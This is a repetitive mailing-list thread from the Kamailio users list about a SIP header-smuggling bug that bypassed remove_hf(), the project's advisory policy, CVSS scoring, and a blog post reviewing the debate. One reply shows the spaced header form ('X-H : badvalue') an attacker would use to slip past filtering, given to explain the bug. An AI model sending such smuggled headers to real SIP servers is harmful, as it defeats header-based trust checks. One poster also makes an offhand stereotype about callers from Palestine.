>>> Maybe that’s a way forward.
>>>
>>> /O
>>>
>>>> On 2 Sep 2020, at 21:25, Henning Westerholt <hw(a)skalatan.de
<mailto:hw@skalatan.de>> wrote:
>>>>
>>>> Hello Maxim,
>>>>
>>>> have a look to the first sentence:
>>>>
>>>> “A security vulnerability is (for example) when a user of Kamailio can
cause Kamailio to crash or lock up by sending messages to the server process.”
>>>>
>>>> So there is some limitation regarding vulnerability criticality defined
in there. But of course (as I already mentioned), it might be improved to e.g. use CVSS
scoring instead.
>>>>
>>>> Cheers,
>>>>
>>>> Henning
>>>>
>>>> From: Maxim Sobolev <sobomax(a)sippysoft.com
<mailto:sobomax@sippysoft.com>>
>>>> Sent: Wednesday, September 2, 2020 9:15 PM
>>>> To: Henning Westerholt <hw(a)skalatan.de
<mailto:hw@skalatan.de>>
>>>> Cc: Daniel-Constantin Mierla <miconda(a)gmail.com
<mailto:miconda@gmail.com>>; yufei.tao(a)gmail.com
<mailto:yufei.tao@gmail.com>; Olle E. Johansson <oej(a)edvina.net
<mailto:oej@edvina.net>>; Gerry | Rigatta <gjacobsen(a)rigatta.com
<mailto:gjacobsen@rigatta.com>>; Kamailio (SER) - Users Mailing List
<sr-users(a)lists.kamailio.org <mailto:sr-users@lists.kamailio.org>>;
jbrower(a)signalogic.com <mailto:jbrower@signalogic.com>
>>>> Subject: Re: [SR-Users] Kamailio vulnerable to header smuggling possible
due to bypass of remove_hf
>>>>
>>>> On Wed, Sep 2, 2020 at 11:30 AM Henning Westerholt <hw(a)skalatan.de
<mailto:hw@skalatan.de>> wrote:
>>>> Hello Maxim,
>>>>
>>>> thank you for the clarification, appreciated.
>>>>
>>>> No worries, hope to have a civilized discussion.
>>>>
>>>> Just one clarification, my comment regarding the advisory from 2018 was
not meant as advertisement etc..
>>>>
>>>> Point taken, I dramatized of course to underline my point.
>>>>
>>>> One suggestion to objectify the whole discussion, there exists a
well-known and accepted metric for vulnerabilities: CVSS [1]
>>>> If I calculate the CVSS score for this issue, it results in a medium
level with score 5.8. But this is of course again (at least somewhat) influenced from my
point of view to this bug.
>>>>
>>>> Some projects have a policy to only do a security announcement for
vulnerabilities with score high and critical. For Kamailio this is not yet defined in a
detailed way, due to the size of the project and other factors.
>>>>
>>>> So, If people in this discussion (or other people on the list) are
interested in improving the project security processes – this wiki page with the current
process might be a good starting point:https://www.kamailio.org/wiki/security/policy
<https://www.kamailio.org/wiki/security/policy>
>>>>
>>>> Please suggest your improvements to the existing process (preferable in a
new discussion thread) on the sr-dev list. If you want to do it in private, feel free
contact the management list.
>>>>
>>>> Well, first suggestion after having read it: to start actually following
what's documented before any improvements are made. ;-) The policy says plain and
simple (quote):
>>>>
>>>> Publishing security vulnerabilities
>>>>
>>>> Kamailio will publish security vulnerabilities, including an CVE ID, on
the kamailio-business mailing list, sr-dev, sr-users as well as related lists. The
advisories will also be published on the kamailio.org <http://kamailio.org/> web
site.
>>>>
>>>> CVE entries should be created for vulnerabilities in the core and major
modules, for rarely used modules this is not necessary. If there are several security
issues together in one release, they should be announced together.
>>>>
>>>> I might be missing something obvious, but there is no "if" or
"maybe" or "it depends". Any module that has been 18 years with the
project qualifies to be a "major module" to me...
>>>>
>>>> -Max
>>>
>>>
>>> _______________________________________________
>>> Kamailio (SER) - Users Mailing List
>>> sr-users(a)lists.kamailio.org <mailto:sr-users@lists.kamailio.org>
>>> https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
<https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users>
>>> _______________________________________________
>>> Kamailio (SER) - Users Mailing List
>>> sr-users(a)lists.kamailio.org <mailto:sr-users@lists.kamailio.org>
>>> https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
<https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users>
>>
>> _______________________________________________
>> Kamailio (SER) - Users Mailing List
>> sr-users(a)lists.kamailio.org <mailto:sr-users@lists.kamailio.org>
>> https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
<https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users>
>>
>
>
>
> _______________________________________________
> Kamailio (SER) - Users Mailing List
> sr-users(a)lists.kamailio.org <mailto:sr-users@lists.kamailio.org>
> https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
<https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users>
--
Daniel-Constantin Mierla -- www.asipto.com <http://www.asipto.com/>
www.twitter.com/miconda <http://www.twitter.com/miconda> --
www.linkedin.com/in/miconda <http://www.linkedin.com/in/miconda>
Funding: https://www.paypal.me/dcmierla
<https://www.paypal.me/dcmierla>_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users(a)lists.kamailio.org <mailto:sr-users@lists.kamailio.org>
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
<https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users>
_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users(a)lists.kamailio.org <mailto:sr-users@lists.kamailio.org>
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
<https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users>
1:54 p.m.
On Tue, 22 Sep 2020, at 12:55 PM, Daniel-Constantin Mierla wrote:
> Cheers,
> Daniel
> On 22.09.20 11:31, Sandro Gauci wrote:
>> I know I am waking up an old debate by replying to this thread. Deeply sorry :-)
> >> Finally got around to writing up a
blog post about this very thread where I (think) I spared absolutely no one, not even
myself.
> >> My post is called "The great
Kamailio security debate and some misconceptions debunked" and can be read here:
> >>
https://www.rtcsec.com/2020/09/02-kamailio-security-debate-and-misconceptio…
> >> The ToC:
>> 1. Introduction
>> 2. A bit of background before diving in
>> 3. Claim: this issue does not affect many organisations
>> 4. Claim: custom headers are only known to internal users
>> 5. Claim: if it’s an 18 year old bug, it can’t have been high risk
>> 6. Claim: this should have been found if people were doing proper testing
>> 7. Claim: infrequent advisories = project is not serious about security
>> 8. Claim: limited number of advisories = project is more secure
>> 9. Claim: if you’re serious about security, monitor the mailing lists
>> 10. Claim: security experts should decide what is a security vulnerability
>> 11. Discussion: when should the project publish an advisory?
>> 12. Discussion: educational security role
>> 13. Moving forward
>> Hope that it is at least interesting and perhaps even constructive!
> >> Best wishes,
> >> --
>>
>> Sandro Gauci, CEO at Enable Security GmbH
> >> Register of Companies: AG
Charlottenburg HRB 173016 B
>> Company HQ: Pappelallee 78/79, 10437 Berlin, Germany
>> PGP/Encrypted comms: https://keybase.io/sandrogauci
>> Our blog: https://www.rtcsec.com
>> Other points of contact: https://enablesecurity.com/#contact-us
> >
> >> On Thu, 3
Sep 2020, at 10:34 AM, Olle E. Johansson wrote:
>>> Well, you have defined one definitive line between being stupid and following
some current practise :-)
>> >>> I like
to think we as a project have an educational role as well. In this case explaining the bug
we had and what it can cause.
>>> We should definitely add a warning along the lines you write too - relying on
headers alone is bad and not best current practise.
>> >>> /O
>> >>>> On
3 Sep 2020, at 10:14, davy van de moere <davy.van.de.moere(a)gmail.com> wrote:
>>> >>>>
After 20 years in voip, my 2 cents on this, if you succeed in creating a voip system where
the security of the whole relies on the ability to remove (or only keep specific) custom
sip headers, you will wake up one morning realizing a bunch of people in Palestine made a
gazillion calls over your system to expensive destinations, bringing you to or over the
edge of bankruptcy.
>>> >>>>
Security should be multilayered, one header sneaking through should not give any big
problems.
>>> >>>>
From a security point of view, this could be called a 'normal' security risk, I
think. It's a bit more than low as you can do more than just get some info, but
it's not high, as you would need to have many other factors going wrong to get to a
successful exploit.
>>> >>> >>>
>>> >>>> Op
do 3 sep. 2020 om 09:18 schreef Olle E. Johansson <oej(a)edvina.net>et>:
>>>>> One thought - we may have to separate security vulnerability
reporting from security advisory documents. I think in some cases, where a common use of a
product can lead to issues (but it is not clearly a bug that cause crashes in our code) we
may have to send out an advisory and publish it in the same way. The problem with that is
where the border is between just doing stupid things like taking SQL statements from SIP
headers and issues like this that are harder to catch.
>>>> >>>>>
We had a long and hard discussion about this in the Asterisk project many years ago - a
very common dialplan construct (that was documented in many places) was indeed very
dangerous. It wasn’t any code in asterisk that caused the issue, just a common dialplan
construct that existed in many, many production systems. In the end, if I remember
correctly, the project issued an advisory and added a README about it.
>>>> >>>>>
Maybe that’s a way forward.
>>>> >>>>>
/O
>>>>
>>>>>> On 2 Sep 2020, at 21:25, Henning Westerholt
<hw(a)skalatan.de> wrote:
>>>>>
>>>>>> Hello Maxim,
>>>>>>
>>>>>> have a look to the first sentence:
>>>>>>
>>>>>> “A security vulnerability is (for example) when a user of
Kamailio can cause Kamailio to crash or lock up by sending messages to the server
process.”
>>>>>>
>>>>>> So there is some limitation regarding vulnerability criticality
defined in there. But of course (as I already mentioned), it might be improved to e.g. use
CVSS scoring instead.
>>>>>>
>>>>>> Cheers,
>>>>>>
>>>>>> Henning
>>>>>>
>>>>>> *From:* Maxim Sobolev <sobomax(a)sippysoft.com >>>>>> *Sent:* Wednesday,
September 2, 2020 9:15 PM
>>>>>> *To:* Henning Westerholt <hw(a)skalatan.de>
>>>>>> *Cc:* Daniel-Constantin Mierla <miconda(a)gmail.com>om>;
yufei.tao(a)gmail.com; Olle E. Johansson <oej(a)edvina.net>et>; Gerry | Rigatta
<gjacobsen(a)rigatta.com>om>; Kamailio (SER) - Users Mailing List
<sr-users(a)lists.kamailio.org>rg>; jbrower(a)signalogic.com
>>>>>> *Subject:* Re: [SR-Users] Kamailio vulnerable to header smuggling
possible due to bypass of remove_hf
>>>>>>
>>>>>> On Wed, Sep 2, 2020 at 11:30 AM Henning Westerholt
<hw(a)skalatan.de> wrote:
>>>>>>> Hello Maxim,
>>>>>>>
>>>>>>> thank you for the clarification, appreciated.
>>>>>>
>>>>>> No worries, hope to have a civilized discussion.
>>>>>>
>>>>>>> Just one clarification, my comment regarding the advisory
from 2018 was not meant as advertisement etc..
>>>>>>
>>>>>> Point taken, I dramatized of course to underline my point.
>>>>>>
>>>>>>> One suggestion to objectify the whole discussion, there
exists a well-known and accepted metric for vulnerabilities: CVSS [1]
>>>>>>> If I calculate the CVSS score for this issue, it results in a
medium level with score 5.8. But this is of course again (at least somewhat) influenced
from my point of view to this bug.
>>>>>>>
>>>>>>> Some projects have a policy to only do a security
announcement for vulnerabilities with score high and critical. For Kamailio this is not
yet defined in a detailed way, due to the size of the project and other factors.
>>>>>>>
>>>>>>> So, If people in this discussion (or other people on the
list) are interested in improving the project security processes – this wiki page with the
current process might be a good starting
point:https://www.kamailio.org/wiki/security/policy
>>>>>>>
>>>>>>> Please suggest your improvements to the existing process
(preferable in a new discussion thread) on the sr-dev list. If you want to do it in
private, feel free contact the management list.
>>>>>>
>>>>>> Well, first suggestion after having read it: to start actually
following what's documented before any improvements are made. ;-) The policy says
plain and simple (quote):
>>>>>>
>>>>>>> Publishing security vulnerabilities
>>>>>>> Kamailio will publish security vulnerabilities, including an
CVE ID, on the kamailio-business mailing list, sr-dev, sr-users as well as related lists.
The advisories will also be published on the kamailio.org web site.
>>>>>>>
>>>>>>> CVE entries should be created for vulnerabilities in the core
and major modules, for rarely used modules this is not necessary. If there are several
security issues together in one release, they should be announced together.
>>>>>>
>>>>>> I might be missing something obvious, but there is no
"if" or "maybe" or "it depends". Any module that has been 18
years with the project qualifies to be a "major module" to me...
>>>>>>
>>>>>> -Max
>>>> >>>>>
_______________________________________________
>>>>> Kamailio (SER) - Users Mailing List
>>>>> sr-users(a)lists.kamailio.org
>>>>> https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
>>>> _______________________________________________
>>>> Kamailio (SER) - Users Mailing List
>>>> sr-users(a)lists.kamailio.org
>>>> https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
>>> _______________________________________________
>>> Kamailio (SER) - Users Mailing List
>>> sr-users(a)lists.kamailio.org
>>> https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
>> > >
>> _______________________________________________
Kamailio (SER) - Users Mailing List
>> sr-users(a)lists.kamailio.org
>> https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
> > --
Daniel-Constantin Mierla -- www.asipto.com
Funding: https://www.paypal.me/dcmierla
At least in my case you push out some inaccurate
information. I never said my "deployments were not affected since non-standard
headers were not used".
Sorry about the misquote. I have clarified that part of the post.
If anyone feels that I misquoted them, feel free to reach out directly on list, offlist or
over matrix/wire etc (sandrogauci).
Iirc, I only said that none of my deployments were
affected by this issue -- respectively quoting from my message: "None of my
deployments were affected." from:
https://lists.kamailio.org/pipermail/sr-users/2020-September/110315.html . If I am
mistaken and you found another remark from me, just point to my message from where you got
that.
So, for further clarification: either non standard
headers were used for non-security related features (e.g., used for troubleshooting
purposes) or the issue didn't affect the deployments from different perspective (e.g.,
traffic was checked to be from a trusted source).
And remember that the issue was not with remove_hf()
function itself, like it is somehow propagated by blog posts, but it was in the parser, so
use of custom headers between two kamailio was not affected if an edge proxy did something
like:
remove_hf("X-H");
append_hf("X-H: abc\r\n");
And then, if next hop Kamailio was using $hdr(X-H), it
will get "abc" (value added by previous Kamailio), not what a bad actor would
add as "X-H : badvalue\r\n" sip header.
Then you listed two commits you consider there should
have been security advisories about. Have you analysed the code and found cases where
security was affected, or is just your opinion in based on the commit message and code
patch?
First, I would love that one or many spend time to
dissect commits and see their security implication. I am more that happy when someone does
it and let's everyone be aware of, also to write and publish appropriate advisory.
Otherwise, for those two specific commits you listed,
the one from Federico is a memory leak, I haven't spent time on going deeper to find
the specific cases, From header should be parsed in SIP requests. My commit was done based
on a static code analyzer and again I was not spending time to see what implications are.
In general, in the code we work a lot with str
structure (non-zero terminated char* and len), many of the "safety" commits done
lately were to silent static code analysers, not meaning that it was a real issue found
behind. Some can be, and here we appreciate the time and effort of people like you to
dissect them and make appropriate advisories.
I would like people do verify what they write about
what specific people (of course, specially for my person) said before pushing out, and
eventually validate a commit to fix something has security impact, instead of just
personal guessing, if the intention is to help the project and not to create more
confusion or other reactions for what so ever reasons.
This should be my last comment on the thread, I do not
want to spend any more time in clarifying what people think I said or I did.
2:22 p.m.
Hello Sandro,
thanks for sharing the writeup and for the work you do.
I think everything has been said at least a few times in this thread, so I will not
comment long. Just two remarks:
1. As mentioned before, if people want to participate in the project in this particular
area, just let us know. So far there has been no feedback.
2. I think it would be good to take the proper time to analyse bugs before publishing
about them. To quote from your post:
“For example, consider these two separate fixes that were applied earlier this year. [..]
Might they have security implications? Most certainly (although we’re not sure and have
not verified).”
I am sorry, but this sounds more like guessing to me. Especially if a compare it to some
of your other work that I am aware of (e.g. were you provided proof of concept code for a
vulnerability etc..).
Cheers,
Henning
--
Henning Westerholt – https://skalatan.de/blog/
Kamailio services – https://gilawa.com<https://gilawa.com/>
From: sr-users <sr-users-bounces(a)lists.kamailio.org> On Behalf Of Sandro Gauci
Sent: Tuesday, September 22, 2020 11:32 AM
To: sr-users(a)lists.kamailio.org
Subject: Re: [SR-Users] Kamailio vulnerable to header smuggling possible due to bypass of
remove_hf
I know I am waking up an old debate by replying to this thread. Deeply sorry :-)
Finally got around to writing up a blog post about this very thread where I (think) I
spared absolutely no one, not even myself.
My post is called "The great Kamailio security debate and some misconceptions
debunked" and can be read here:
https://www.rtcsec.com/2020/09/02-kamailio-security-debate-and-misconceptio…
The ToC:
1. Introduction
2. A bit of background before diving in
3. Claim: this issue does not affect many organisations
4. Claim: custom headers are only known to internal users
5. Claim: if it’s an 18 year old bug, it can’t have been high risk
6. Claim: this should have been found if people were doing proper testing
7. Claim: infrequent advisories = project is not serious about security
8. Claim: limited number of advisories = project is more secure
9. Claim: if you’re serious about security, monitor the mailing lists
10. Claim: security experts should decide what is a security vulnerability
11. Discussion: when should the project publish an advisory?
12. Discussion: educational security role
13. Moving forward
Hope that it is at least interesting and perhaps even constructive!
Best wishes,
--
Sandro Gauci, CEO at Enable Security GmbH
Register of Companies: AG Charlottenburg HRB 173016 B
Company HQ: Pappelallee 78/79, 10437 Berlin, Germany
PGP/Encrypted comms: https://keybase.io/sandrogauci
Our blog: https://www.rtcsec.com
Other points of contact: https://enablesecurity.com/#contact-us
On Thu, 3 Sep 2020, at 10:34 AM, Olle E. Johansson wrote:
Well, you have defined one definitive line between being stupid and following some current
practise :-)
I like to think we as a project have an educational role as well. In this case explaining
the bug we had and what it can cause.
We should definitely add a warning along the lines you write too - relying on headers
alone is bad and not best current practise.
/O
On 3 Sep 2020, at 10:14, davy van de moere
<davy.van.de.moere@gmail.com<mailto:davy.van.de.moere@gmail.com>> wrote:
After 20 years in voip, my 2 cents on this, if you succeed in creating a voip system where
the security of the whole relies on the ability to remove (or only keep specific) custom
sip headers, you will wake up one morning realizing a bunch of people in Palestine made a
gazillion calls over your system to expensive destinations, bringing you to or over the
edge of bankruptcy.
Security should be multilayered, one header sneaking through should not give any big
problems.
From a security point of view, this could be called a 'normal' security risk, I
think. It's a bit more than low as you can do more than just get some info, but
it's not high, as you would need to have many other factors going wrong to get to a
successful exploit.
Op do 3 sep. 2020 om 09:18 schreef Olle E. Johansson
<oej@edvina.net<mailto:oej@edvina.net>>:
One thought - we may have to separate security vulnerability reporting from security
advisory documents. I think in some cases, where a common use of a product can lead to
issues (but it is not clearly a bug that cause crashes in our code) we may have to send
out an advisory and publish it in the same way. The problem with that is where the border
is between just doing stupid things like taking SQL statements from SIP headers and issues
like this that are harder to catch.
We had a long and hard discussion about this in the Asterisk project many years ago - a
very common dialplan construct (that was documented in many places) was indeed very
dangerous. It wasn’t any code in asterisk that caused the issue, just a common dialplan
construct that existed in many, many production systems. In the end, if I remember
correctly, the project issued an advisory and added a README about it.
Maybe that’s a way forward.
/O
On 2 Sep 2020, at 21:25, Henning Westerholt
<hw@skalatan.de<mailto:hw@skalatan.de>> wrote:
Hello Maxim,
have a look to the first sentence:
“A security vulnerability is (for example) when a user of Kamailio can cause Kamailio to
crash or lock up by sending messages to the server process.”
So there is some limitation regarding vulnerability criticality defined in there. But of
course (as I already mentioned), it might be improved to e.g. use CVSS scoring instead.
Cheers,
Henning
From: Maxim Sobolev <sobomax@sippysoft.com<mailto:sobomax@sippysoft.com>>
Sent: Wednesday, September 2, 2020 9:15 PM
To: Henning Westerholt <hw@skalatan.de<mailto:hw@skalatan.de>>
Cc: Daniel-Constantin Mierla <miconda@gmail.com<mailto:miconda@gmail.com>>;
yufei.tao@gmail.com<mailto:yufei.tao@gmail.com>; Olle E. Johansson
<oej@edvina.net<mailto:oej@edvina.net>>; Gerry | Rigatta
<gjacobsen@rigatta.com<mailto:gjacobsen@rigatta.com>>; Kamailio (SER) - Users
Mailing List
<sr-users@lists.kamailio.org<mailto:sr-users@lists.kamailio.org>>;
jbrower@signalogic.com<mailto:jbrower@signalogic.com>
Subject: Re: [SR-Users] Kamailio vulnerable to header smuggling possible due to bypass of
remove_hf
On Wed, Sep 2, 2020 at 11:30 AM Henning Westerholt
<hw@skalatan.de<mailto:hw@skalatan.de>> wrote:
Hello Maxim,
thank you for the clarification, appreciated.
No worries, hope to have a civilized discussion.
Just one clarification, my comment regarding the advisory from 2018 was not meant as
advertisement etc..
Point taken, I dramatized of course to underline my point.
One suggestion to objectify the whole discussion, there exists a well-known and accepted
metric for vulnerabilities: CVSS [1]
If I calculate the CVSS score for this issue, it results in a medium level with score 5.8.
But this is of course again (at least somewhat) influenced from my point of view to this
bug.
Some projects have a policy to only do a security announcement for vulnerabilities with
score high and critical. For Kamailio this is not yet defined in a detailed way, due to
the size of the project and other factors.
So, If people in this discussion (or other people on the list) are interested in improving
the project security processes – this wiki page with the current process might be a good
starting point:https://www.kamailio.org/wiki/security/policy
Please suggest your improvements to the existing process (preferable in a new discussion
thread) on the sr-dev list. If you want to do it in private, feel free contact the
management list.
Well, first suggestion after having read it: to start actually following what's
documented before any improvements are made. ;-) The policy says plain and simple
(quote):
Publishing security vulnerabilities
Kamailio will publish security vulnerabilities, including an CVE ID, on the
kamailio-business mailing list, sr-dev, sr-users as well as related lists. The advisories
will also be published on the kamailio.org<http://kamailio.org/> web site.
CVE entries should be created for vulnerabilities in the core and major modules, for
rarely used modules this is not necessary. If there are several security issues together
in one release, they should be announced together.
I might be missing something obvious, but there is no "if" or "maybe"
or "it depends". Any module that has been 18 years with the project qualifies to
be a "major module" to me...
-Max
_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users@lists.kamailio.org<mailto:sr-users@lists.kamailio.org>
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users@lists.kamailio.org<mailto:sr-users@lists.kamailio.org>
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users@lists.kamailio.org<mailto:sr-users@lists.kamailio.org>
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
3:18 p.m.
On 22 Sep 2020, at 11:31, Sandro Gauci
<sandro(a)enablesecurity.com> wrote:
I know I am waking up an old debate by replying to this thread. Deeply sorry :-)
Finally got around to writing up a blog post about this very thread where I (think) I
spared absolutely no one, not even myself.
Thank you, a very good post. Maybe
something that we want to come back to as a community
in an open brainstorm meeting rather than a formal meeting - to see what comes out.
Cheers,
/O
My post is called "The great Kamailio security debate and some misconceptions
debunked" and can be read here:
https://www.rtcsec.com/2020/09/02-kamailio-security-debate-and-misconceptio…
<https://www.rtcsec.com/2020/09/02-kamailio-security-debate-and-misconceptions/>
The ToC:
Introduction
A bit of background before diving in
Claim: this issue does not affect many organisations
Claim: custom headers are only known to internal users
Claim: if it’s an 18 year old bug, it can’t have been high risk
Claim: this should have been found if people were doing proper testing
Claim: infrequent advisories = project is not serious about security
Claim: limited number of advisories = project is more secure
Claim: if you’re serious about security, monitor the mailing lists
Claim: security experts should decide what is a security vulnerability
Discussion: when should the project publish an advisory?
Discussion: educational security role
Moving forward
Hope that it is at least interesting and perhaps even constructive!
Best wishes,
--
Sandro Gauci, CEO at Enable Security GmbH
Register of Companies: AG Charlottenburg HRB 173016 B
Company HQ: Pappelallee 78/79, 10437 Berlin, Germany
PGP/Encrypted comms: https://keybase.io/sandrogauci
<https://keybase.io/sandrogauci>
Our blog: https://www.rtcsec.com
<https://www.rtcsec.com/>
Other points of contact: https://enablesecurity.com/#contact-us
<https://enablesecurity.com/#contact-us>
On Thu, 3 Sep 2020, at 10:34 AM, Olle E. Johansson wrote:
Well, you have defined one definitive line
between being stupid and following some current practise :-)
I like to think we as a project have an educational role as well. In this case explaining
the bug we had and what it can cause.
We should definitely add a warning along the lines you write too - relying on headers
alone is bad and not best current practise.
/O
_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users(a)lists.kamailio.org <mailto:sr-users@lists.kamailio.org>
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
<https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users> On 3 Sep 2020, at 10:14, davy van de moere
<davy.van.de.moere(a)gmail.com <mailto:davy.van.de.moere@gmail.com>> wrote:
After 20 years in voip, my 2 cents on this, if you succeed in creating a voip system
where the security of the whole relies on the ability to remove (or only keep specific)
custom sip headers, you will wake up one morning realizing a bunch of people in Palestine
made a gazillion calls over your system to expensive destinations, bringing you to or over
the edge of bankruptcy.
Security should be multilayered, one header sneaking through should not give any big
problems.
From a security point of view, this could be called a 'normal' security risk, I
think. It's a bit more than low as you can do more than just get some info, but
it's not high, as you would need to have many other factors going wrong to get to a
successful exploit.
Op do 3 sep. 2020 om 09:18 schreef Olle E. Johansson <oej(a)edvina.net
<mailto:oej@edvina.net>>:
One thought - we may have to separate security vulnerability reporting from security
advisory documents. I think in some cases, where a common use of a product can lead to
issues (but it is not clearly a bug that cause crashes in our code) we may have to send
out an advisory and publish it in the same way. The problem with that is where the border
is between just doing stupid things like taking SQL statements from SIP headers and issues
like this that are harder to catch.
We had a long and hard discussion about this in the Asterisk project many years ago - a
very common dialplan construct (that was documented in many places) was indeed very
dangerous. It wasn’t any code in asterisk that caused the issue, just a common dialplan
construct that existed in many, many production systems. In the end, if I remember
correctly, the project issued an advisory and added a README about it.
Maybe that’s a way forward.
/O
_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users(a)lists.kamailio.org <mailto:sr-users@lists.kamailio.org>
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
<https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users>
On 2 Sep 2020, at 21:25, Henning Westerholt
<hw(a)skalatan.de <mailto:hw@skalatan.de>> wrote:
Hello Maxim,
have a look to the first sentence:
“A security vulnerability is (for example) when a user of Kamailio can cause Kamailio to
crash or lock up by sending messages to the server process.”
So there is some limitation regarding vulnerability criticality defined in there. But of
course (as I already mentioned), it might be improved to e.g. use CVSS scoring instead.
Cheers,
Henning
From: Maxim Sobolev <sobomax(a)sippysoft.com <mailto:sobomax@sippysoft.com>>
Sent: Wednesday, September 2, 2020 9:15 PM
To: Henning Westerholt <hw(a)skalatan.de <mailto:hw@skalatan.de>>
Cc: Daniel-Constantin Mierla <miconda(a)gmail.com <mailto:miconda@gmail.com>>;
yufei.tao(a)gmail.com <mailto:yufei.tao@gmail.com>; Olle E. Johansson
<oej(a)edvina.net <mailto:oej@edvina.net>>; Gerry | Rigatta
<gjacobsen(a)rigatta.com <mailto:gjacobsen@rigatta.com>>; Kamailio (SER) - Users
Mailing List <sr-users(a)lists.kamailio.org
<mailto:sr-users@lists.kamailio.org>>; jbrower(a)signalogic.com
<mailto:jbrower@signalogic.com>
Subject: Re: [SR-Users] Kamailio vulnerable to header smuggling possible due to bypass of
remove_hf
On Wed, Sep 2, 2020 at 11:30 AM Henning Westerholt <hw(a)skalatan.de
<mailto:hw@skalatan.de>> wrote:
Hello Maxim,
thank you for the clarification, appreciated.
No worries, hope to have a civilized discussion.
Just one clarification, my comment regarding the advisory from 2018 was not meant as
advertisement etc..
Point taken, I dramatized of course to underline my point.
One suggestion to objectify the whole discussion, there exists a well-known and accepted
metric for vulnerabilities: CVSS [1]
If I calculate the CVSS score for this issue, it results in a medium level with score
5.8. But this is of course again (at least somewhat) influenced from my point of view to
this bug.
Some projects have a policy to only do a security announcement for vulnerabilities with
score high and critical. For Kamailio this is not yet defined in a detailed way, due to
the size of the project and other factors.
So, If people in this discussion (or other people on the list) are interested in
improving the project security processes – this wiki page with the current process might
be a good starting point:https://www.kamailio.org/wiki/security/policy
<https://www.kamailio.org/wiki/security/policy>
Please suggest your improvements to the existing process (preferable in a new discussion
thread) on the sr-dev list. If you want to do it in private, feel free contact the
management list.
Well, first suggestion after having read it: to start actually following what's
documented before any improvements are made. ;-) The policy says plain and simple
(quote):
Publishing security vulnerabilities
Kamailio will publish security vulnerabilities, including an CVE ID, on the
kamailio-business mailing list, sr-dev, sr-users as well as related lists. The advisories
will also be published on the kamailio.org <http://kamailio.org/> web site.
CVE entries should be created for vulnerabilities in the core and major modules, for
rarely used modules this is not necessary. If there are several security issues together
in one release, they should be announced together.
I might be missing something obvious, but there is no "if" or "maybe"
or "it depends". Any module that has been 18 years with the project qualifies to
be a "major module" to me...
-Max
_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users(a)lists.kamailio.org <mailto:sr-users@lists.kamailio.org>
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
<https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users>
_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users(a)lists.kamailio.org <mailto:sr-users@lists.kamailio.org>
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
<https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users>
6:33 p.m.
Hey Sandro, thanks for putting this together. I frankly have been a little
puzzled and a bit disappointed by the lack of response from you on that
topic. But then Daniel mentioned some "special relationship" he has with
you, so I just wrote it off to old-good cronyism. I am glad that I was
wrong on that matter.
I won't beat this dead horse too much again, just to reply to *many* here
who said "Kamailio community has no time/resources to deal with this
stuff". From my vantage point of view the amount of time Kamailio community
as a whole spent on "debunking header smuggling as a real security threat"
would probably be enough to create 5 security advisories in a better
structured project. Whether or not any lessons have been learned and
improvements made we will see the next time.
With that being said I'd probably go back to my usual read-mostly mode and
wish everyone a good and productive week!
-Max
On Tue, Sep 22, 2020 at 2:34 AM Sandro Gauci <sandro(a)enablesecurity.com>
wrote:
I know I am waking up an old debate by replying to
this thread. Deeply
sorry :-)
Finally got around to writing up a blog post about this very thread where
I (think) I spared absolutely no one, not even myself.
My post is called "The great Kamailio security debate and some
misconceptions debunked" and can be read here:
https://www.rtcsec.com/2020/09/02-kamailio-security-debate-and-misconceptio…
The ToC:
1. Introduction
2. A bit of background before diving in
3. Claim: this issue does not affect many organisations
4. Claim: custom headers are only known to internal users
5. Claim: if it’s an 18 year old bug, it can’t have been high risk
6. Claim: this should have been found if people were doing proper
testing
7. Claim: infrequent advisories = project is not serious about security
8. Claim: limited number of advisories = project is more secure
9. Claim: if you’re serious about security, monitor the mailing lists
10. Claim: security experts should decide what is a security
vulnerability
11. Discussion: when should the project publish an advisory?
12. Discussion: educational security role
13. Moving forward
Hope that it is at least interesting and perhaps even constructive!
Best wishes,
--
Sandro Gauci, CEO at Enable Security GmbH
Register of Companies: AG Charlottenburg HRB 173016 B
Company HQ: Pappelallee 78/79, 10437 Berlin,
Germany
PGP/Encrypted comms: https://keybase.io/sandrogauci
Our blog: https://www.rtcsec.com
Other points of contact: https://enablesecurity.com/#contact-us
On Thu, 3 Sep 2020, at 10:34 AM, Olle E. Johansson wrote:
Well, you have defined one definitive line between being stupid and
following some current practise :-)
I like to think we as a project have an educational role as well. In this
case explaining the bug we had and what it can cause.
We should definitely add a warning along the lines you write too - relying
on headers alone is bad and not best current practise.
/O
On 3 Sep 2020, at 10:14, davy van de moere <davy.van.de.moere(a)gmail.com>
wrote:
After 20 years in voip, my 2 cents on this, if you succeed in creating a
